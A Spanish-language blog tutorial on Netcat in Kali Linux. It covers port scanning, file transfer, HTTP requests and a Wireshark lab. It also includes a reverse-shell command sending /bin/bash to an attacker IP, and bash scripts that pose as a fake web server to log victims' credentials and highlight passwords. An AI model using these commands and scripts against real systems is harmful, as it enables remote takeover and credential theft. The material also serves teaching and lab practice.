Netcat en Kali Linux: Guía Esencial

https://www.onlinetis.com/es/

Netcat en Kali Linux: Guía Esencial

Netcat (a menudo llamado el "cuchillo suizo" de los hackers) es una de las herramientas más potentes y versátiles que encontrarás en Kali Linux. Básicamente, permite leer y escribir datos a través de conexiones de red usando los protocolos TCP o UDP.

Aquí tienes una guía rápida para que domines lo esencial en español.

1. Conceptos Básicos

El comando principal es nc. La sintaxis básica suele ser:

nc [opciones] [host] [puerto]

Banderas (Flags) más comunes:

-l: Modo escucha (Listen). Para esperar conexiones entrantes.
-p: Especificar el puerto local.
-v: Modo detallado (Verbose). Te dice qué está pasando.
-n: No resuelve nombres DNS (usa solo IPs, lo que lo hace más rápido).
-u: Usa el protocolo UDP en lugar de TCP.
-e: Ejecuta un programa después de establecer la conexión (¡Peligroso y útil!).

2. Casos de Uso Principales

A. Escaneo de Puertos (Port Scanning)

Aunque nmap es el rey, Netcat puede hacer un escaneo rápido para ver si un puerto está abierto:

Bash

nc -zv 192.168.1.1 20-80

-z: Escanea sin enviar datos.
20-80: Rango de puertos.

B. Transferencia de Archivos

Es genial cuando no tienes SSH o FTP disponible.

En la máquina que recibe:
Bash
```
nc -l -p 4444 > archivo_recibido.txt
```

En la máquina que envía:

Bash

nc 192.168.1.15 4444 < archivo_a_enviar.txt

C. Chat Simple

Si dos personas están en la misma red, pueden hablar por terminal:

Persona A: nc -l -p 5555
Persona B: nc [IP_de_A] 5555
Todo lo que escriban aparecerá en la otra pantalla.

3. Reverse Shell (La joya de la corona)

En pruebas de penetración, se usa para tomar control de una máquina remota.

En tu máquina (Kali): Te pones a la escucha.
Bash
```
nc -lvnp 4444
```
En la máquina víctima: Ejecutas esto para enviarte la terminal (suponiendo que tu IP es 10.0.0.5):
Bash
```
nc 10.0.0.5 4444 -e /bin/bash
```

Nota de seguridad: Ten cuidado con el uso de -e. Muchas versiones modernas de Netcat (como la que viene por defecto en Debian/Ubuntu) tienen esta opción deshabilitada por razones de seguridad. En Kali suele estar disponible la versión "traditional" que sí la permite.

Usar Netcat para interactuar con HTTP es una excelente forma de entender cómo funcionan realmente las peticiones web "bajo el capó", sin la capa visual de un navegador.

Aquí te muestro cómo puedes actuar como un navegador manual o incluso como un servidor web ultra básico.

1. Petición HTTP Manual (Actuando como Cliente)

Para conectarte a una web y pedirle su contenido, seguimos estos pasos. Vamos a probar con un sitio sencillo (o tu propio servidor local).

Conéctate al puerto 80 (HTTP):
Bash
```
nc -v google.com 80
```
Escribe la petición: Una vez establecida la conexión, escribe lo siguiente y presiona Enter dos veces:
HTTP
```
GET / HTTP/1.1
Host: google.com
```

¿Qué sucede? Recibirás el código HTML de la página y las cabeceras de respuesta (Server, Date, Content-Type, etc.). Es la forma más pura de ver la comunicación cliente-servidor.

2. Crear un Servidor Web de una sola línea

Puedes usar Netcat para servir un archivo HTML simple a cualquier persona que visite tu IP en un puerto específico.

Crea un archivo index.html:

Bash

echo "<h1>Hola desde Kali Linux</h1>" > index.html

Lanza el "servidor":

Bash
while true; do { echo -e 'HTTP/1.1 200 OK\r\n'; cat index.html; } | nc -l -p 8080; done

Accede: Abre tu navegador y ve a http://localhost:8080. Verás tu mensaje.

3. Capturar Cabeceras HTTP (Banner Grabbing)

Esta es una técnica de reconocimiento en ciberseguridad para saber qué software está corriendo en un servidor (por ejemplo, si usa Apache o Nginx).

Bash

echo -e "HEAD / HTTP/1.1\r\nHost: 192.168.1.1\r\n\r\n" | nc -vn 192.168.1.1 80

HEAD: Le dice al servidor que solo quieres las cabeceras, no todo el cuerpo de la web.
Esto te permite ver versiones de software rápidamente.

Diferencias clave en HTTP con Netcat

Acción	Comando / Método	Propósito
GET	`GET /ruta HTTP/1.1`	Descargar o ver una página.
POST	`POST /ruta HTTP/1.1`	Enviar datos (formularios, credenciales).
HEAD	`HEAD / HTTP/1.1`	Auditoría de seguridad y versiones de servidor.

Vamos a ver cómo se vería un ataque de Sniffing o captura de datos básicos cuando un sitio no utiliza cifrado (es decir, usa HTTP en lugar de HTTPS).

Cuando un sitio es http://, toda la información viaja en texto plano. Si logras interceder en la comunicación o engañar a la víctima para que se conecte a tu puerto de Netcat, verás sus credenciales tal cual las escribió.

1. Preparando la "Trampa" (El Receptor)

Imagina que quieres ver qué envía un usuario en un formulario de login. En tu máquina Kali, pon a Netcat a escuchar y a guardar todo lo que reciba en un archivo:

Bash

nc -lvp 80 > captura_http.txt

-l: Escuchar.
-v: Ver qué está pasando.
-p 80: Usamos el puerto estándar de la web (necesitarás sudo para puertos bajos).

2. Simulando el Envío de Datos (La Víctima)

Si alguien (o tú mismo para probar) envía una petición POST (que es la que se usa para formularios), el comando se vería así desde la "máquina víctima":

Bash

echo -e "POST /login HTTP/1.1\r\nHost: 10.0.0.5\r\nContent-Length: 35\r\n\r\nuser=admin&password=PasswordSegura123" | nc 10.0.0.5 80

3. Analizando el Botín

Ahora, si revisas tu terminal de Kali o el archivo captura_http.txt, verás algo parecido a esto:

HTTP
POST /login HTTP/1.1
Host: 10.0.0.5
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 35
Content-Type: application/x-www-form-urlencoded

user=admin&password=PasswordSegura123

¿Por qué es importante esto?
Aquí queda claro por qué HTTPS (TLS/SSL) es vital. Si el sitio usara HTTPS, Netcat solo recibiría caracteres aleatorios ilegibles (datos cifrados), y no podrías ver la contraseña PasswordSegura123.

Lo que Netcat nos enseña sobre seguridad:

Falta de Cifrado: Todo lo que pase por nc en puertos abiertos es visible para cualquiera en la ruta de red (Man-in-the-Middle).
Manipulación: Con Netcat podrías incluso devolverle a la víctima una página de error falsa después de robarle los datos.

Usar Wireshark junto con Netcat es el combo perfecto: Netcat genera el tráfico (el "ruido") y Wireshark actúa como un microscopio para analizar cada bit que viaja por el cable.

Aquí tienes cómo montar este laboratorio básico en tu Kali Linux para ver una captura de credenciales de forma profesional.

1. Preparación del Escenario

Para que esto funcione, necesitamos que Wireshark esté "escuchando" en la misma interfaz de red donde Netcat hará la conexión.

Abre Wireshark: Puedes buscarlo en el menú de aplicaciones o escribir sudo wireshark en la terminal.
Selecciona la Interfaz: Elige any (para capturar todo) o lo (Loopback) si vas a hacer la prueba en tu propia máquina.
Aplica un Filtro: En la barra superior de "Display Filter", escribe http y presiona Enter. Esto ocultará todo el tráfico aburrido de fondo y solo mostrará lo que nos interesa.

2. Generar el Tráfico con Netcat

Ahora, repite el proceso de escucha y envío que vimos antes:

Terminal 1 (Servidor "Falso"):
Bash
```
sudo nc -lvp 80
```

Terminal 2 (Víctima enviando datos):

Bash

echo -e "POST /login HTTP/1.1\r\nHost: localhost\r\nContent-Length: 32\r\n\r\nuser=root&pass=PasswordGrafica" | nc localhost 80

3. Análisis en Wireshark (El Momento Profesional)

En cuanto ejecutes el comando de la víctima, verás que en Wireshark aparece una línea nueva de color verde (indicando protocolo HTTP).

Pasos para ver la contraseña:

Busca el paquete que dice "POST /login HTTP/1.1" en la columna de Info.
Haz clic derecho sobre ese paquete.
Selecciona Follow -> TCP Stream.

Aparecerá una ventana nueva con el texto en rojo (lo que envió el cliente) y azul (la respuesta del servidor). Ahí verás claramente:

user=root&pass=PasswordGrafica

4. ¿Por qué hacerlo así?

Usar Wireshark te permite ver detalles que Netcat por sí solo no muestra fácilmente:

Three-way Handshake: Verás los paquetes SYN, SYN-ACK y ACK que ocurren antes de que se envíen los datos.
Tiempos de respuesta: Exactamente cuánto tardó el servidor en procesar la petición.
Errores de red: Si el paquete se pierde o se corrompe, Wireshark te lo marcará en rojo o negro.

Resumen de Herramientas

Herramienta	Función en este ejercicio
Netcat	Actúa como el motor que envía y recibe los datos.
Wireshark	Actúa como el auditor que documenta y visualiza el tráfico.

Esta es la base de cómo se analizan malwares o protocolos desconocidos en ciberseguridad.

Para automatizar esto de forma profesional, no basta con un nc simple, ya que Netcat se cierra normalmente después de recibir una conexión. Necesitamos un bucle (loop) y una forma de generar nombres de archivos únicos (usando la fecha y hora) para que las capturas no se sobreescriban.

Aquí tienes un script en Bash diseñado para funcionar como un "honeypot" (trampa) básico en tu Kali Linux.

1. El Script: `capturador.sh`

Crea un archivo llamado capturador.sh y pega el siguiente código:

Bash
#!/bin/bash

# Puerto en el que queremos escuchar
PUERTO=80

echo "Iniciando capturador en el puerto $PUERTO..."
echo "Presiona Ctrl+C para detener."

# Creamos una carpeta para organizar las capturas
mkdir -p capturas_netcat

while true; do
    # Generamos un nombre de archivo basado en la fecha y hora exacta
    FECHA=$(date +%Y%m%d_%H%M%S)
    ARCHIVO="capturas_netcat/victima_$FECHA.txt"

    echo "Esperando conexión... Próximo archivo: $ARCHIVO"

    # Escuchamos una sola vez y guardamos el output
    # Usamos -q 1 para que nc se cierre 1 segundo después de recibir datos
    nc -lvp $PUERTO -q 1 > "$ARCHIVO" 2>&1

    echo "¡Conexión capturada! Guardada en $ARCHIVO"
    echo "----------------------------------------"
done

Cómo ponerlo en marcha:

Dale permisos de ejecución:
Bash
```
chmod +x capturador.sh
```
Ejecútalo con privilegios (necesario para el puerto 80):
Bash
```
sudo ./capturador.sh
```

2. ¿Qué hace exactamente este script?

while true: Crea un bucle infinito. Cada vez que una "víctima" se desconecta, el script vuelve a abrir el puerto inmediatamente para la siguiente.
date +%Y%m%d_%H%M%S: Esto es clave. Crea nombres como victima_20240520_153045.txt. Así, si recibes 10 conexiones en un minuto, tendrás 10 archivos diferentes y ordenados.
nc -lvp $PUERTO -q 1:
- -l (Listen): Escucha.
- -v (Verbose): Te muestra detalles en pantalla.
- -q 1: Le dice a Netcat: "Después de que recibas el final del archivo (EOF), espera 1 segundo y ciérrate". Esto permite que el bucle while pase a la siguiente iteración.
2>&1: Esto redirige tanto los datos de la red como los mensajes de error/estado de Netcat al mismo archivo, para que tengas el registro completo.

3. Ejemplo de lo que verás en tu carpeta

Si dejas el script corriendo y varias personas (o tú mismo desde otras terminales) se conectan, tu carpeta capturas_netcat/ se verá así:

Archivo	Contenido
`victima_20240520_100001.txt`	Petición GET de un navegador.
`victima_20240520_100522.txt`	Intento de login con usuario/pass.
`victima_20240520_101015.txt`	Escaneo de un bot automatizado.

Un toque de "Ninja" (Opcional)

Si quieres que el script sea totalmente silencioso y corra de fondo sin ocupar tu terminal, puedes ejecutarlo así:

Bash

sudo ./capturador.sh > /dev/null 2>&1 &

(Para detenerlo después, tendrías que usar sudo killall nc o buscar el PID del script).

Vamos a añadirle una capa de monitorización en tiempo real. Para esto, usaremos el comando notify-send, que es el sistema de notificaciones nativo del escritorio de Kali (XFCE o GNOME).

Aquí tienes el script actualizado. He añadido una línea que lanza un aviso visual en tu pantalla cada vez que alguien se conecta, para que no tengas que estar mirando la terminal todo el tiempo.

1. El Script con Alertas: `super_capturador.sh`

Bash
#!/bin/bash

# Configuración
PUERTO=80
CARPETA="capturas_netcat"

mkdir -p "$CARPETA"

echo "--- [ESCUCHANDO EN PUERTO $PUERTO] ---"

while true; do
    FECHA=$(date +%H%M%S)
    ARCHIVO="$CARPETA/captura_$FECHA.txt"

    # Lanzamos Netcat
    # -v (Verbose) para capturar el origen de la IP
    nc -lnvp $PUERTO -q 1 > "$ARCHIVO" 2>&1

    # Extraemos la IP de quien se conectó (está en la cabecera de Netcat)
    ORIGEN=$(grep "connect to" "$ARCHIVO" | awk '{print $5}')
    
    # Si el archivo tiene contenido, enviamos la alerta
    if [ -s "$ARCHIVO" ]; then
        notify-send "¡ALERTA DE RED!" "Nueva conexión detectada desde $ORIGEN. Guardada en $ARCHIVO" --icon=dialog-warning
        echo "[!] Conexión desde $ORIGEN guardada en $ARCHIVO"
    fi
done

2. ¿Cómo funciona la alerta visual?

Cuando el script detecta que el archivo de captura ya no está vacío (es decir, alguien envió algo), ejecuta notify-send.

Verás aparecer un cuadro en la esquina superior derecha de tu pantalla de Kali que dice:

¡ALERTA DE RED!
Nueva conexión detectada desde 192.168.1.50. Guardada en capturas_netcat/captura_172030.txt

3. Visualización en "Modo Matrix" (Opcional)

Si además de las alertas quieres ver los datos pasar en tiempo real en una segunda terminal mientras el script trabaja, puedes usar el comando tail:

Abre una nueva pestaña en tu terminal de Kali.
Escribe:
Bash
```
tail -f capturas_netcat/*.txt
```

Esto hará que cada vez que el script principal escriba algo en un archivo nuevo, aparezca automáticamente en esta pantalla. Es lo más parecido a tener un centro de control profesional.

4. Próximos pasos para escalar este proyecto

Si quieres llevar esto al siguiente nivel, podrías:

Filtrado de datos: Hacer que el script use grep automáticamente para buscar la palabra "pass" o "user" y te la muestre resaltada.
Respuesta automática: Que Netcat le envíe un mensaje de "Acceso Denegado" o una página de login falsa a la víctima inmediatamente después de robarle los datos.

Esta es la parte donde el script pasa de ser un simple recolector a una herramienta de análisis automático.

Vamos a usar grep con colores para que, en cuanto el script reciba los datos, escanee el archivo en busca de palabras clave como "user", "password", "pass" o "login" y te las muestre resaltadas en la terminal.

1. El Script "Hunter": `netcat_hunter.sh`

Copia este código en un nuevo archivo. He añadido una función de resaltado en rojo para que las credenciales salten a la vista.

Bash
#!/bin/bash

# Configuración
PUERTO=80
CARPETA="capturas_netcat"
mkdir -p "$CARPETA"

# Colores para la terminal
ROJO='\033[0;31m'
VERDE='\033[0;32m'
NC='\033[0m' # No Color

echo -e "${VERDE}[+] Iniciando Netcat Hunter en el puerto $PUERTO...${NC}"

while true; do
    FECHA=$(date +%H%M%S)
    ARCHIVO="$CARPETA/captura_$FECHA.txt"

    # Escuchamos la conexión
    nc -lnvp $PUERTO -q 1 > "$ARCHIVO" 2>&1

    if [ -s "$ARCHIVO" ]; then
        # Enviamos la notificación al escritorio
        notify-send "¡CAPTURA REALIZADA!" "Revisando credenciales en $ARCHIVO"
        
        echo -e "${VERDE}[!] Datos recibidos. Analizando...${NC}"

        # BUSCADOR DE CREDENCIALES:
        # Buscamos patrones comunes y los resaltamos en rojo
        grep -Ei "user|pass|login|pwd|usuario|contraseña" "$ARCHIVO" | sed "s/.*/${ROJO}&${NC}/"
        
        echo "------------------------------------------"
    fi
done

2. Cómo probarlo (Simulacro de Ataque)

Ejecuta el script: sudo ./netcat_hunter.sh

Desde otra terminal (o desde otra PC en la red), simula un login:

Bash

echo -e "POST /index.php HTTP/1.1\r\nHost: localhost\r\n\r\nuser=admin&pass=P4ssw0rd2026" | nc localhost 80

Resultado en tu pantalla: Verás que el script imprime automáticamente la línea user=admin&pass=P4ssw0rd2026 en un rojo brillante.

3. ¿Qué está pasando técnicamente?

El comando clave aquí es la combinación de grep y sed:

grep -Ei: El flag -E permite usar expresiones regulares extendidas (para buscar varias palabras a la vez) y -i hace que no importe si están en mayúsculas o minúsculas.
sed "s/.*/${ROJO}&${NC}/": Esto es un truco de Bash para "envolver" la línea encontrada en códigos de color ANSI, lo que hace que destaque visualmente sobre el resto del texto.

Buscar este blog